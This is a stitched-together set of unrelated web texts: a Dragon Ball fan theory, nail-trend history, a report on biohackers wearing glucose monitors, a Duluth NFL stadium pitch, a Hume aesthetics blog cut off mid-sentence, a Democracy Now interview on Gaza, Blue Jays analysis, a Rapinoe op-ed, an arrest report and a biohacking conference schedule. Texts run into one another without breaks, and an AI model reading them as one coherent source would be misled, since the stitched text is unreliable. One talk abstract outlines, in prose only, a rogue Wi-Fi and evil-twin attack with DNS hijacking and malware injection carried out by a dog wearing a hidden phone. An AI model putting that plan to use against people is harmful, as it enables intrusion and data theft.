Going back to the Super Saiyan God legend, in terms of peaceful Saiyans remember that the Tuffles and purple aliens were peace loving beings. Just as the appearance of a Saiyan could have been passed down from their genes so could the personality traits of those aliens.
Also remember that Tarble was banished by King Vegeta because he was a peace-loving Saiyan who was not battle hungry making him a disgrace to the royal bloodline.
This could be another reason the population divided as time went on. Keep in mind that Bardock preferred to stay away from the civilization in favor of isolation in the caves/wastelands of Planet Plant.
Here is another piece of evidence that the purple aliens/Tuffles up and left their old town in favor of their more advanced civilization.
Take note of the pictures, one is of the city we see in the Episode of Bardock.
The other is the city in King Kai’s story in which the Saiyans inhabit the now deserted city from the one in the episode of Bardock.
Notice the similarities in terms of building structure. I’ll wager that once the aliens learned about the technology to upgrade their living arrangements, they left their old city and the Saiyans decided to live there and the area surrounding it of course was desert wasteland.
Some of the offspring of Bardock and the purple aliens or some of those aliens in general could have decided to live in the area of the planet that Bardock inhabited. This could explain why the Saiyans were so few in number when compared to the Tuffles. That made them more barbaric compared to the more civilize purple aliens/Tuffles in the city.
Of course, all of this could be proven wrong with this theory; Bardock’s only reason for going back in the past was to begin the Super Saiyan legend and nothing more meaning that the Saiyans didn’t originally come from Planet Plant but indeed came from another planet.
What do you think?
AdvertisementsManicures are personal.
Unlike hair or makeup, people see their fingernails all day, without the need for a mirror. Their appearance matters to a lot of people; it's a way to express individual style. A good manicure can cheer you up all day long, while you're texting or clinking glasses with friends.
People throughout history have paid special attention to their fingernail real estate. It's been said that nail trends date back to 5000 B.C. when women in India decorated their fingertips with henna. Later, in 4000 B.C. Babylonian men were known to manicure and color their nails with black or green kohl. The Chinese are credited with creating nail stains from egg whites, vegetable dyes and beeswax as early as 3000 B.C.
While polish colors, designs and products have altered drastically throughout the ages, popular nail shapes are cyclical.
Beauty trendsetters Rihanna and Kylie Jenner might have led the recent charge toward long, pointed talons but they were not the first women to do so.
Take a look back in time to discover where nail trends really began.In a photo posted to Instagram earlier this year, Dave Asprey, founder and CEO of Bulletproof Coffee, smiles big as he flexes his left arm, revealing a small white disk attached to this tricep.
"It's official. I'm a cyborg," the caption reads.
In Silicon Valley, a growing number of entrepreneurs and biohackers are using a medical technology called a continuous glucose monitor, or CGM, in order to learn more about how their bodies work. They wear the device under their skin for weeks at a time.
CGMs, which cropped up on the market less than 10 years ago and became popular in the last few years, are typically prescribed by doctors to patients living with diabetes (both types 1 and 2). They test glucose level, or the amount of sugar in a person's blood, and send real-time results to a phone or tablet. Unlike fingerstick tests, CGMs collect data passively, painlessly, and often.
For people taking a DIY approach to biology, CGMs offer a way to quantify the results of at-home experiments around fasting, exercise, stress, and sleep.
A patient checks their blood glucose level using a conventional fingerstick test. Stoyan Nenov/Reuters
Asprey, a self-proclaimed biohacker who's spent over $1 million on "smart drugs," wearable tracking devices, and diagnostics tests in the pursuit of cognitive enhancement, has been wearing a CGM on and off for two months. He does not have diabetes, though he's familiar with fingerstick tests from 20 years ago when he weighed 300 pounds and was told by his doctor to monitor his glucose.
In 2017, Asprey bought the device from a European vendor online. (In the US, patients need a prescription to get a CGM.) He's has been wearing it during a cross-country tour for his new book, "Head Strong," so he can track how sleep disruption due to jet lag affects glucose.
A small body of research suggests that a lack of sleep may contribute to the development of type 2 diabetes, the most common form of the disease. In 2016, Dr. Frank B. Hu, a professor of nutrition and epidemiology at Harvard, published the results of a study that followed over 133,000 (generally healthy) women for 10 years. The researchers found that women who self-reported difficulty sleeping were associated with a 25% increased risk for type 2 diabetes.
"Wearing one of these all of the time would be kind of absurd," Asprey says, touching the area around his implant. "I wanted to see what would happen."
Asprey found that his glucose level is normal, and his standard breakfast of Bulletproof Coffee — a proprietary blend of grass-fed butter, oil, and coffee — did not cause an increase in glucose. (Asprey's experience is subjective and does not suggest the beverage is safe to drink for all.)
His studies on the relationship between sleep deprivation and glucose are ongoing, but Asprey doesn't plan to wear the device long-term because it's invasive and his health doesn't require it.
Paul Benigeri, a lead engineer at Nootrobox, breathes a sigh of relief after a continuous glucose monitor is painlessly implanted under his skin. Melia Robinson/Business Insider
Few entrepreneurs who wear CGMs actually live with diabetes.
At Nootrobox, a startup that makes cognitive enhancement supplements, or "smart drugs," a majority of the company's dozen employees subscribe to an increasingly popular diet called intermittent fasting, which involves going without food for anywhere from hours to several days. They wear CGMs so they can see how the food they eat spikes their glucose in real time.
Kevin Rose, the cofounder of Digg and a serial entrepreneur, was prescribed and wore a CGM for a brief time. Like the employees of Nootrobox, he got one for the love of data.
"I'm somewhat a little bit of a 'body hacker.' I like to try out different things to see how it impacts my overall wellbeing," Rose told Business Insider in January. "I put [the CGM] on and I wore it for about a month. When I did, I would throw everything at it."
He drank a glass of pulp-less juice just to watch his glucose level go "through the roof."
Patrick Collison, CEO and cofounder of mobile payments startup Stripe, said on Twitter in 2016 that he bought a FreeStyle Libre Flash Glucose Monitoring System in Europe. Collison does not live with diabetes, he said, but has become interested in glucose monitoring since learning how different foods affect insulin response, which is regulated by blood sugar levels.
Chrissy Ensley, head of operations and supply chain at Nootrobox, checks her blood sugar levels regularly after installing her continuous glucose monitor. Melia Robinson/Business Insider
The early adopters believe if they can access the data around their own glucose levels and take action to lead healthier lives now, their efforts may help them stave off obesity, diabetes, and other life-threatening diseases in the future. They expect CGMs to become more common.
Asprey, of Bulletproof, says the CGM has taught him what low blood sugar and high blood sugar feels like. He hopes to apply those learnings toward making better lifestyle choices.
"The whole point of monitoring isn't to rely on the monitoring," Asprey says. It's about having the awareness to make confident decisions about the body you live in."It sounds out there, but it's really not out there," he said.
White plans to introduce two resolutions today at the City Council's meeting: to support the return an NFL team to the Twin Ports and to support construction of an outdoor stadium if an NFL team relocates to the area.
Those resolutions aren't tying taxpayers to building a stadium or supporting the team financially, but instead are meant to get the conversation started, he said. He hopes Twin Ports residents attend the meeting to hear his argument before jumping to conclusions.
"Why not go for it?" he asked.
Bringing in a professional team is part of White's "master vision" for economic growth in the region. People are often critical of a new idea that would create a change for an area, but after the idea is fully implemented, it would seem visionary in hindsight, he said. He argues that other U.S. states have two NFL teams and that Minnesota is large enough that it could support two teams.
"We can be more than a marathon and the Homegrown Music Festival. We can be more. Let's just do it," he said.
If a professional team was considered as a Lake Superior team rather than a Duluth team, it could unite the region from the Upper Peninsula through northern Minnesota and up into Canada, he said. He added, "We all claim Lake Superior. That's our lake."
However, other cities and towns in the region would need to get on board for the idea to take off, he said.
"Let's as a community — Hermantown, Duluth, Proctor, Superior and all the surrounding area — why don't we work together and present a proposal and say, 'Hey, look at the history we have here and the benefits up here'?" he said.
Sometimes the area doesn't act like it can compete on the same level as larger cities, he said. But he points to the rivalry between the University of Minnesota Gophers and the Minnesota Duluth Bulldogs or the area hockey teams that compete at the high school hockey tournaments.
"I get the sense up here that we feel that we're not on par with these big cities, but we have so much more we can offer that the big cities can't offer," he said. "We compete with big cities all the time. We need to quit thinking small, and let's think large."
White argues that if the football team was in the AFC, it wouldn't compete against the teams most area fans already support and therefore could grow a fanbase in the region. If not a professional football team, a baseball or a hockey team could be considered, he said.
The Twin Ports area also has open land where a stadium could be located with space for a business community to grow around it that would give the region an economic boost, he said.
An outdoor stadium also would provide a venue for other outdoor competitions and concerts with an atmosphere that the Minnesota Vikings' new stadium might not be able to provide. In addition, he said, the outdoor stadium would tap into northern Minnesota's outdoor tourism.
"We're a different breed than down there. We're outdoors. We hunt, fish, motorcycle, snowmobile.... People come up here not to go to the Miller Hill Mall, they come up here because they want to go to Gooseberry Falls," he said.
The idea to have a NFL team in the Twin Ports began when White was at a Green Bay Packers game when he was 11 years old. In addition to experiencing Lambeau Field's outdoor atmosphere, he visited the Packers Hall of Fame, where he learned that Duluth was once the home of a professional football team named the Kelley Duluths before the name changed to the Eskimos. In the 1920s, the team was first in implementing a lot of practices that are common in the NFL today, but White says it's not trumpeted enough by the region.
"Who in this area even knows any of this? Hardly anyone does," he said.
A few years ago, he began jotting down every skeptical question that came to mind on why the area couldn't support a professional team and began working on the solutions to each question.
"Instead of thinking about what could have been, think what could be. What's stopping us from having this?" he asked.
If the resolutions don't pass after the discussion Monday, the area isn't worse off than it was before by discussing it, he said. He points out that even if people oppose the resolutions, at least they're talking about it.
"Don't tell me it's impossible," he said. "Tell me what we can do to make it possible. The sky's the limit."So I had a lot of back and forth with my SS before the gift arrived. Very cool Redditor indeed. Had no idea what to expect but was excited towards the end because (1. the dude (or gal?) has a freakin awesome job. Telescopes and planets. Need I say more? and 2. this was for Jamie and everyone knows how much I love to see the boys spoiled by Redditors far and wide. Screw mom, I would rather see the excitement on Zac and/or Jamie's face receiving a gift).
The Raspberry Pi was beyond anything I was expecting!
Jamie is SO super excited to start playing with this (what I call) baby computer. I think he will have loads of fun with this and, hopefully, get interested in computers, programming, etc. When he is making mass loads of money later in life, he better be taking me out to dinner a lot!
The pics say it all!
My lovely SS, you did freakin awesome! Beyond expectation. And I think you did a good job getting this 10 year old interested in computers and programming.I just recently returned from France to my home in Atlantic Canada. It was my first time in the country, and I was glad to have spent it within the lush, rolling pastures of Normandy, made famous through the artwork of impressionist par excellence, Claude Monet, during his years in Giverny, long before the Allied liberation I was there to commemorate.
Impressionism happens to be one of my favourite genres of art due its resonance with my philosophical appreciation for David Hume. Hume believed that our aesthetic standards, much like our moral ones, derive from inner sentiments that project approbations on our “sensory impressions”. The snap-shot framing common in impressionism even mirrors Hume’s empiricism, with each short, thick brush stroke as a ray of light, a sense datum within our kaleidoscopic perception.
Beauty, Hume maintained, does not realize itself by ideas, but by a conformity between the object and our inner sense. As he wrote in the Standards of Taste, “beauty and deformity, more than sweet and bitter, are not qualities in objects, but belong entirely to the sentiment, internal or external; it must be allowed, that there are certain qualities in objects, which are fitted by nature to produce those particular feelings.” That “nature” we know to be biological evolution, which cross cultural surveys suggest has predisposed us to relish, among other things, the sight of an evergreen landscape, presumably for its signal of hydration and plenty.
Beauty, then, really does grow on trees. But how do we reconcile this with Adam’s point in his discussion with David that all art is a conversation which necessarily requires a group with shared concepts and ideas?
The difference lies in the distinction between aesthetics on the one hand and art on the other, a distinction that leads to an abyss of confusion if not addressed head on. The late David Best gives an excellent example of this in his 1985 book, Feeling and Reason in the Arts. Drawing on Wittgenstein’s argument against the possibility of a private language, Best sees art, unlike aesthetics, as a type of language game, whereby “individual creativity depends upon the existence and grasp of a social practice.” A philosopher of rhythm and movement, he gives the following excellent example, which I’ve pulled from this review:
Some years ago I was privileged to attend a performance by Ram Gopal, the great Indian classical dancer, and I was quite captivated by the exhilarating and exquisite quality of his movements. Yet I was unable to appreciate his dance artistically since I could not understand it. For instance, there is a great and varied range of subtle hand gestures in Indian classical dance, each with a quite precise meaning, of which I knew none. It is clear that my appreciation was aesthetic, not artistic.
This formulation isn’t only applicable to humans. If you’re ambitious, try to imagine the wonderful aesthetic sensations honey bees must experience upon receiving the ultraviolet sense impressions of a pollen laden Golden crocus, before returning to the hive, and transmitting said beauty through the artistic medium of the waggle dance. While the sentiment produced by the flower may be immediate and personal, the dance only works to communicate because each specie of bee has a genetic understanding of their particular waggle dance rules.
Humans have the capacity to learn the rules of a particular art and then bend them, inventing new forms of artistic media and waggle dances all our own. But it is important to bear in mind that the rules would cease to exist without the aesthetics underlying them. Even in Manga, another captivating form for which I (like Indian classical dance was for Best) have no artistic appreciation, the unique and extremely idiosyncratic iconography Adam highlights are all conspicuously exploiting a Pleistocene aesthetic, in the same way cheesecake exploits our adaptive sweet tooth. Namely, Manga hits on the sentimental fondness for cutesy and wide eye child-like facial features that one would expect in a species that protects and invests as heavily in their kin as humans do.
So in some sense David and Adam are both right. Adam is right that art can never be a private affair — it, by its very nature, is a social practice. Yet David wasn’t deluded when he reported experiencing aesthetic delight upon his introduction to anime, because the latter feeds up into the former. For without that shared evolutionary heritage, the conversation could never begin.
I’m Samuel by the way, and am pleased to be joining the Sweet Talk team. You can follow me on twitter @hamandcheese and I run an independent blog called Abstract Minutiae, where I try to bridge the conceptually near and far from using the ideas of |
a coup in Egypt, and there is a new leader who’s very hostile both to the Muslim Brotherhood, of which Hamas is the Palestinian chapter, and hostile to Hamas, as well, of course. And there was a radical change in policy on the part of Egypt and a radical change in the closure regime that was imposed on Gaza. Very, very few Gazans were able to exit through the Rafah crossing to Egypt. This is the main exit of Gazans to the outside world. There are some Gazans who are permitted to leave via Israel, but it’s really not available to most Gazans. It’s for exceptional medical cases and high-level VIP businessmen and so forth. So, the exit was closed, and pressure started to build.
In addition, the tunnels, through which many goods were coming, particularly construction materials and fuel—were coming into Gaza through these tunnels crossing the Gaza-Egypt border. And the Sisi regime, following the July 2013 coup, basically eliminated these tunnels. And with that elimination of those tunnels, almost complete elimination, Hamas no longer had these goods coming through and could no longer tax them. They relied on those tax revenues in order to pay the roughly 40,000 employees who run Gaza and have been running Gaza even without pay for the last several months.
So, what you had was a pressure cooker inside of Gaza, and this began to build and build to the point where, December 2013, we had a massive storm here and sanitation plants started to shut down for lack of power. There was radical reductions in electricity, which are already at very, very low levels within Gaza. Sewage is being dumped in the sea. There’s sewage in the middle of the streets in Gaza. And Hamas is looking at the situation in Egypt, and they’re hoping that there’s going to be a change in regime there and they will at least if not have a Muslim Brotherhood president again, somebody who’s less hostile to them and is going to allow some kind of easing of the closure of Gaza.
And as they came to the conclusion earlier this year that that really was not going to happen in the near term, they realized that they had to do something to get out of their predicament—and in particular, the predicament of not being able to pay the employees who are running Gaza. These employees, by the way, are not simply Hamas members. Many of them are Hamas members, but many of them are members of other factions, as well. And as soon as they came to this conclusion, they decided that what they would do as a way out of this was to form a reconciliation agreement with the Palestinian leadership in Ramallah. And this was a years-long process of debating the various points of implementing Palestinian reconciliation. It’s a very distant dream. But Hamas basically caved on all of the demands that they had previously been making.
And I don’t want to overstate the nature of this reconciliation. This was not a reconciliation of the political programs of Fatah and Hamas. It wasn’t calling for disarming Hamas in Gaza. It wasn’t addressing the massive problems dealing with the security forces and so forth. But it was a step towards Palestinian unity, and an important one. And what it allowed for was to have a single authority, with the ministries controlled by Ramallah controlling Gaza once again.
And what happened after this agreement, Hamas expected two things at a minimum for basically caving on all of their demands. The first thing they expected was an easing in the closure imposed particularly by Egypt on the Rafah crossing. The official reason for that closure being in place was that Egypt had this campaign against the Muslim Brotherhood and against Hamas, and security threats in Sinai and so forth. And they said, “Look, if we’re no longer manning the border and now you have PA security forces loyal to the leadership in Ramallah at the border,” as Hamas agreed would be the case, “then there should at least be some significant easing, and people should be able to exit Gaza.” The second thing that they expected was that the civil servants, whom they could no longer pay, would begin to be paid. And neither of those things happened.
In fact, life in Gaza just became worse. And months went by without any solution to this building crisis, of Hamas having made these concessions in order to find a solution out of the predicament in Gaza—and also, you know, for their own self-interested reasons, as well. They didn’t want to be overthrown by the population in Gaza at a time of great turmoil and instability in the region when they couldn’t provide for their people. So they handed the responsibility for that over to the government in Ramallah. Presumably, that would be something that’s in the interest of the West, which always states how much they want to strengthen the leadership in Ramallah and strengthen Fatah. And if indeed that was what they desired, then the day that this government was formed, there should have been increases in electricity in Gaza, the Rafah crossing should have been opened significantly. Major changes should have taken place. The salaries should have been paid on the day that government was formed. And nothing of the sort took place. And nothing—if it had taken place, nothing would greater strengthen the leadership in Ramallah and Fatah.
And so, what happened subsequently were the kidnappings and murders of the three Yeshiva students, the three Israeli students at Yeshiva in the West Bank, followed by the revenge, torture and killing of the 16-year-old Palestinian boy in East Jerusalem, Mohammed Abu Khdeir. And Hamas found itself in a campaign in the West Bank, an Israeli campaign, to arrest hundreds of Hamas members in a search for the perpetrators of the kidnapping and murder. Hamas did not claim responsibility for the kidnappings and the murder, but it did say that it supports such kidnappings as a means of getting prisoners out of jail. And it essentially found an opportunity—with rising protests particularly in the wake of the killing of Mohammed Abu Khdeir, rising protests particularly in Jerusalem and in Israel proper, it saw an opportunity to do what it felt it was going to be forced to do in any event. Plan A for Hamas out of the predicament it and Gaza found themselves in was reconciliation. That was thwarted. And so Plan B is the crisis that we’re dealing with today.
AARON MATÉ: Nathan Thrall, and, of course, right before this, you also had a pretty major development with the U.S. agreeing to recognize this unity government, with Hamas included. Now, in early June, as Palestinian President Mahmoud Abbas swore in the government, joining Hamas and Fatah after years of conflict, State Department spokesperson Jen Psaki said the Obama administration would recognize this new government.
JEN PSAKI: At this point, it appears that President Abbas has formed an interim technocratic government that does not include ministers affiliated with Hamas. Moving forward, we will be judging this government by its actions. Based on what we know now, we intend to work with this government, but we’ll be watching closely to make ensure that it upholds the principles that President Abbas reiterated today.
AARON MATÉ: Nathan Thrall, can you talk about how Israel reacted to this decision, and then what the U.S. then subsequently did in terms of its commitment to recognizing the unity government?
NATHAN THRALL: Sure. The step that the U.S. took was opposed by Israel. And it has to be said that the reason the U.S.—one of the main reasons that the U.S. actually took this extraordinary step of recognizing this unity government was, first of all, their frustration with Israel during the Kerry-led peace process. If that had not happened and that Kerry-led peace process had received an extension, the U.S. almost certainly would have opposed much more strongly the reconciliation agreement than it did.
But the second reason, of course, that the U.S. recognized the government was that it basically was a form of capitulation by Hamas. There was not a single Hamas member within this government, not a Hamas-affiliated minister within the government. The government looked basically identical to the U.S.-backed government in Ramallah that it was replacing. And so, there was not even really a legal reason for the U.S. to oppose the new government.
But behind the scenes, the U.S. did act to ensure that true reconciliation did not take place, that further steps toward reconciliation did not take place. The U.S. very strongly told President Abbas that, for example, the Palestinian Legislative Council could not convene. Why? Because the Palestinian Legislative Council, because of the 2006 elections in the West Bank and Gaza, which Hamas won in both places, has a majority, a strong majority, of Hamas parliamentarians. And if that Legislative Council were to convene—and Hamas saw that as a critical part of this reconciliation agreement: If they were giving up the power that they had won through elections to a group of people who had not been elected, then at the very least they expected to have some kind of legislative check on this government. And the U.S. told Abbas very clearly that there would be a cut in American funding and there could be no support for this unity government, if the Legislative Council were to convene. And there were numerous other steps towards reconciliation that could not take place because of European and U.S. opposition.
And it should be said also that the Palestinian Authority itself was very reluctant to implement the agreement and was dragging its feet considerably. You can say, partly, they were doing it because of these threats from the U.S. and Europe, but there was certainly a lot of foot dragging on their part, as well.
AMY GOODMAN: Nathan Thrall is speaking to us from Jerusalem, senior analyst of the International Crisis Group.TORONTO – Reality check time as spring training continues to kick off around the big-leagues – pretty much every team has at least a flaw or two, if not several glaring holes.
There is no uber-team in the majors, although the Los Angeles Dodgers and Washington Nationals are taking a pretty good run at it, and that appears to hold especially true in the American League East, which is something Toronto Blue Jays fans should keep in mind during the weeks ahead.
Yes, second base remains a mixed bag of scraps with fingers crossed that the surgically repaired left knee of 34-year-old Maicer Izturis holds up. And centre field is uncertain with the young but supremely talented Dalton Pompey in the driver’s seat. And there are no blatantly obvious configurations that hint at a dominant bullpen. And while the rotation may be loaded with upside, old reliables Mark Buehrle and R.A. Dickey are the only two starters you can comfortably count on.
Truth is, the Blue Jays became a better club over the winter in a most unorthodox fashion, improving not by directly addressing their clear needs, but by upgrading their overall talent base and strengthening their general core. In a division that by no means ran away from them over the winter – the Boston Red Sox made plenty of moves, but also have the most ground to make up, while the defending champion Baltimore Orioles probably came back to the pack – that may be enough.
Russ Martin and Josh Donaldson are key to the endeavour, both in the short-term and in the bigger picture, which will evolve substantially over the coming months based on the results on the field.
The durable Donaldson, under club control through 2018, gives the Blue Jays another budget-friendly middle-of-the-order cornerstone, and provides the front office with some protection and flexibility with Jose Bautista and Edwin Encarnacion headed toward club options for the 2016 season.
Meanwhile, Martin’s production at the plate will be needed to cover Melky Cabrera’s lost offence, but more pivotal will be his work maximizing the bevy of cost-effective young arms that must carry the load if the Blue Jays are to remain contenders in the coming years.
Inexpensive pitching, after all, is going to be the lifeline for this team moving forward.
The Blue Jays’ payroll this year is expected to land in the $135 million range, and as things stand, they have $117.725 million guaranteed to 16 players (including Ricky Romero) and $5.6 million in buyouts that must be budgeted for, bringing them to $124 million. Add another $6 million for the 10 players with 0-3 years of service time that will be needed to fill out the roster plus another $5 million or so to cover recalls when players hit the disabled list, and the Blue Jays seem to be near their limit.
While it’s possible general manager Alex Anthopoulos has a couple million more in the kitty, he may be saving any money that might be left for a more decisive move later on, rather than taking a chance on the free-agent flotsam remaining.
Given all that, imagine for a second if the Blue Jays didn’t have Drew Hutchison, Marcus Stroman and Aaron Sanchez making the league minimum, or close to it. This team would really be in trouble without them.
That’s why that trio, plus Daniel Norris, Roberto Osuna, Miguel Castro and Jeff Hoffman – the next wave of young arms – are so pivotal.
If the Blue Jays exercise their options on Bautista, Encarnacion and Dickey for 2016, they would have $73 million committed to five players with Donaldson probably headed to the $8 million range in arbitration on top of that.
Such a top-heavy set-up can only work with a strong cast of 0-3 players to fill out the rest of the roster, and that’s before the fading Canadian dollar or the plans of the replacement for president and CEO Paul Beeston enters the mix.
Noteworthy here is what team owner Rogers Communications Inc., said when it reported its third quarter earnings back in October. The company’s release pointed out that “higher revenue associated with the Toronto Blue Jays” helped keep the Media division’s operating revenue unchanged in the quarter, but also that “higher player salaries of approximately $10 million this quarter and $20 million year to date at the Toronto Blue Jays,” helped increase operating expenses eight per cent.
Specifics weren’t given, but if the loonie keeps falling versus the American dollar and team revenues don’t compensate in a meaningful way (the first ticket-price increase since 2010 should help), you’d think something will have to give.
Beeston’s successor will likely have to figure that out, but a successful season on the field that ends with the club’s first post-season berth since 1993 can sure simplify the process.
After all, a common saying in sports is that winning cures all, and with a GM and president both on expiring contracts, a manager and players preparing for a tipping-point season, and significant long-term issues hanging in the balance, that certainly holds true for the Blue Jays.
Could a winning year happen?
Absolutely, as Hutchison, Stroman and Sanchez very well may take off and lead the rotation, the bullpen might sort itself out and be effective, the offence should improve substantially and the defence, bolstered by Martin, Donaldson, Michael Saunders and Justin Smoak should tighten noticeably.
All of that is very realistic, and would make them awfully tough to beat.
You see, while the Blue Jays have flaws, they also have promise, arguably more than most others. And just as promise isn’t always met, flaws aren’t always fatal, either, and only the grind to come can truly sort that out.Megan Rapinoe knelt for “The Star Spangled Banner” Thursday night after standing for Thailand’s national anthem.
“It’s my First Amendment Right to peacefully protest,” the U.S. women’s soccer player says of her right to represent the United States in international play while kneeling during the country’s national anthem. “I think I’m well within the bounds of that.”
Thailand, the country whose anthem Rapinoe respectfully stood for, offers no First Amendment protections to its people. Rather than a vote electing officeholders, a coup elevated a junta. Last year, the rulers cancelled 60 events and conferences, shut down three television stations, and blocked numerous websites, including the online presence of Human Rights Watch, which brings us this information but not the people of Thailand because the government of Thailand bans it.
Since the 2014 coup, the Orwellian National Council for Peace and Order (NCPO) ruling party has prosecuted 56 cases of insulting the monarchy. The offense extends to posting a “like” on another’s Facebook page. The ruling party arrested 27 people for sedition for merely criticizing it.
“The NCPO has banned political gatherings of more than five persons,” Human Rights Watch points out. “Since the coup, at least 80 people have been arrested and sent to military courts for organizing or taking part in peaceful public gatherings.”
But we can’t expect Megan Rapinoe, who doesn’t really get her own country, to understand one halfway round the soccer-ball-shaped world. Did someone forget to tell her about the lack of state recognition for gay marriage in Thailand before their anthem played?
America, as the song says, may be the home of the brave. But it’s not terribly brave to protest America. It’s chic, fashionable, de rigueur.
And this trendiness characterized Rapinoe’s platitudinous explanation to ESPN regarding her disrespect for her country as girls in youth soccer gear looked on from the field and a woman in uniform belted away at the national anthem. Far bigger than sports, blah, blah, blah, social justice, blah, blah, blah, be an ally in this space, blah, blah, blah, use my platform, blah, blah, blah, break down some of these prejudices, blah, blah, blah, use my voice to raise awareness, blah, blah, blah, break down some of these injustices, blah, blah, blah, speaking out for people who are oppressed.
There’s something self-refuting in repeatedly kneeling for a national anthem. Any country so horrible that it rates its citizens sitting for its anthem undoubtedly does not allow its citizens to sit for its anthem. Any country so tolerant that its citizens sit for its anthem without consequence probably does not rate its citizens sitting for its anthem.Two youths have been charged in multiple incidents of throwing 20-ounce water bottles at the windshields of vehicles in East Brainerd and Catoosa County.
Police arrested 17-year-old William Robert Broom as well as 18-year-old Brett David Scott, of 173 Andrews Road, Ringgold.
Three people reported driving west on East Brainerd Road at 5:45 a.m. on July 12 when their vehicles were struck by an object "causing massive damage to each vehicle's windshield."
Police said the damage appeared to be caused by a large object.
The damage happened in the merge with another vehicle traveling east on East Brainerd Road.
On the following morning, at approximately the same time and location, another vehicle was damaged by a thrown water bottle.
A sheriff's deputy noticed many water bottles on the west side of East Brainerd Road.
Catoosa County Detective Tim Busby began developing suspect information due to similar incidents in Catoosa County.
He then acquired confessions from Scott and the juvenile.
The detective located a number of water bottles in the 17-year-old's vehicle. They were the same brand used in the East Brainerd Road incidents.
The detective said Broom was driving his father's vehicle while Scott and up to two other persons would throw the bottles at oncoming vehicles.Speaker Schedule
Friday
10:00 : WELCOME TO BHV! Speaker: Staff
10:05 : Biohacking: The Moral Imperative to Build a Better You Speaker: Tim Cannon
About Tim:
Tim Cannon is an American software developer, entrepreneur, and biohacker based in Pittsburgh, Pennsylvania. He is best known as the co-founder and Chief Information Officer of Grindhouse Wetware, a biotechnology startup company that creates technology to augment human capabilities.
Cannon has spoken at conferences around the world on the topics of human enhancement, futurism, and citizen science, including at TEDx Rosslyn, FITUR, the University of Maryland, the World Business Dialogue, the Medical Entrepreneur Startup Hospital, and others. He has been published in Wired and featured in television shows such as National Geographic Channel’s Taboo and "The Big Picture with Kal Penn". Tim has been featured on podcasts including Ryan O'Shea's Future Grind and Roderick Russell's Remarkably Human.
Abstract:
The talk will focus on biohacking as not just an ethically grey zone but instead present the idea that biohacking is not just something we would like to see, but is something we must do if we are ever going to be capable of living up to the morals we espouse.
11:00 : Psychoactive Chemicals in Combat Speaker: Amanda Plimpton/Evan Anderson
Amanda Plimpton/Evan Anderson:
Collaborators Amanda Plimpton and Evan Anderson are active in the body augmenting community and excited to see the current growth in the citizen science. Small groups and individuals who chose to pursue lines of inquiry and conduct ethical, methodical experiments are the key to the next series of breakthroughs that we will see across many sectors. Citizen scientists are people driven to investigate, experiment and seek answers. Whether they channel their passionate interests into a start-up business or stay in the nonprofit sector, they will continue to make important contributions in their fields. Our goal as speakers here is more modest, we are bringing forward research as a starting point for ourselves and our audience. Human experimentation has a long (and dark) history and today is fraught with ethical dilemmas and tensions. By looking at it through the lens of military experiments with a focus on psychoactive drugs we hope to add a small amount of research to the open source science body of work and to highlight the need for sound, ethically sourced data. Hopefully we will provoke thoughtful discussions around modern human experiments.
Abstract:
By looking at key experiments and trials done by the military we can learn about psychoactive chemicals and protocols that work, and don’t work, on humans. From biological enhancement to chemical deterrents, there is a wealth of information that grassroot scientists and body augmenters can use for their research and experiments.
10:30 : The Patient as CEO Speaker: Robin Farmanfarmaian
About Robin:
Robin Farmanfarmaian is a Professional Speaker, Author, Entrepreneur, and Angel Investor, specializing in companies with the potential to impact >100M patients. Currently Robin is an Investor and VP at Invicta Medical, a medical technology company focusing on sleep apnea; VP at Actavalon, curing cancer by repairing p53; and Strategic Relations at MindMaze, VR for stroke and brain injury rehab. Her best selling book, “The Patient as CEO”, can be found on Amazon.
Abstract:
Robin's expertise showcases the future of medical technology, and how the convergence of accelerating tech will enable patients to be the key decision maker, executor, driver and ultimately the one responsible on the healthcare team. Patient empowerment and engagement through technological advancements including wearable technology, sensors, point-of-care diagnostics, 3D Printing, Tissue Engineering, Power of the Crowd, data, networks, artificial intelligence and robotics. These are some of the accelerating technologies set to fundamentally change healthcare and allow the patient to be in control of their own health.
11:30 : My dog is a hacker and will steal your data! Speaker: Rafael Fontes Souza
About Rafael:
Rafael Fontes Souza aka b4ckd00r is a Senior Information Security Consultant at CIPHER. He is a core member of Cipher Intelligence Labs - the advanced security team focused on penetration testing, application security and computer forensics for premier clients. He started studying at age 13 and since then has disclosed security vulnerabilities and has received recognition and awards from major companies such as Apple, Microsoft, ESET, HP and others. Being done hundreds of successful penetration tests for various organizations, including government, banking, commercial sectors, as well the payment card industry.
Abstract:
This presentation is about a creative approach to intrusion tests, as the popular saying would say: "–The dog is man's best friend" (he makes you feel good and secure). Let's explore the vulnerability of layer eight, the human being, subject to error and the social engineering techniques; This is an innovative method, with art and style, will be simpler than it sounds; The dog will be used as an attack tool, which will carry a mobile phone hidden along with its pectoral collar.
The attack vectors are triggered automatically without any human interaction. This may include geographically close attacks, such as fake Wi-Fi access points, cellular base stations or local user attacks on a network, we can exploit DNS hijacking, packet injection, Evil-Twin, rogue router or ISP, and many other variants. Furthermore, the target will connect to your rogue wifi access point and the rules are enabled with the DHCP configurations to allow fake AP to allocate IP address to the clients and forward traffic to a fake/malicious web-site; Then, the information can be stored easily as well the injection of malicious file to remotely control the victim.
And it's done. You can drop your hacker dog in a park and expect him to hack people for you, quietly, that's perfect!
12:00 : The Bitcoin DNA Challenge Speaker: Keoni Gandall
About Keoni:
Keoni Gandall- 18 year old biohacker, frequents DIYbio forums under alias "Koeng". Worked at UCI for 4 years in directed evolution lab. Likes DNA, BSD, and freedom.
Abstract:
The ultimate form of information storage: DNA.
Dumb question: Can we store Bitcoin addresses in DNA?
Participate in several challenges demystifying the idea of storing Bitcoins inside of DNA. The first who discovers the solution to each challenge wins the satoshi stored in the actual DNA code.
13:00 : Tales from a healthcare hacker Speaker: Kevin Sacco
About Kevin
Kevin is healthcare threat hunter and has been conducting ethical hacking since the time when wardialing and sitting in hot vans all day with a bazooka (not Joe's gum) to do wardriving was in vogue. He has over 16 years experience in IT security and compliance ranging from active duty service in the US military, Big 4 consulting, compliance management at a large tech company and more recently healthcare-focused consulting - where has led and conducted more than 50 hacking engagements in the past 3 years. Kevin is the coauthor of a whitepaper on "Hacking Healthcare" and has assisted the Office of Civil Rights on a study to advise and guide the government on hacking in healthcare. In his spare time - Kevin is trained and enjoys experimenting with and working with people in various forms of cutting edge psychology and diet and nutrition approaches to maximize human potential.
Abstract:
Over past decade, electronic medical records (EMR's) and networked medical devices have become a healthcare norm. However, vendors and consumers alike have not paid sufficient attention to the security implications of EMR's and networked medical devices. In this talk, I will cover my experience [ethical] hacking and social engineering my way into healthcare networks. I will highlight security issues with healthcare networks and share real life stories.
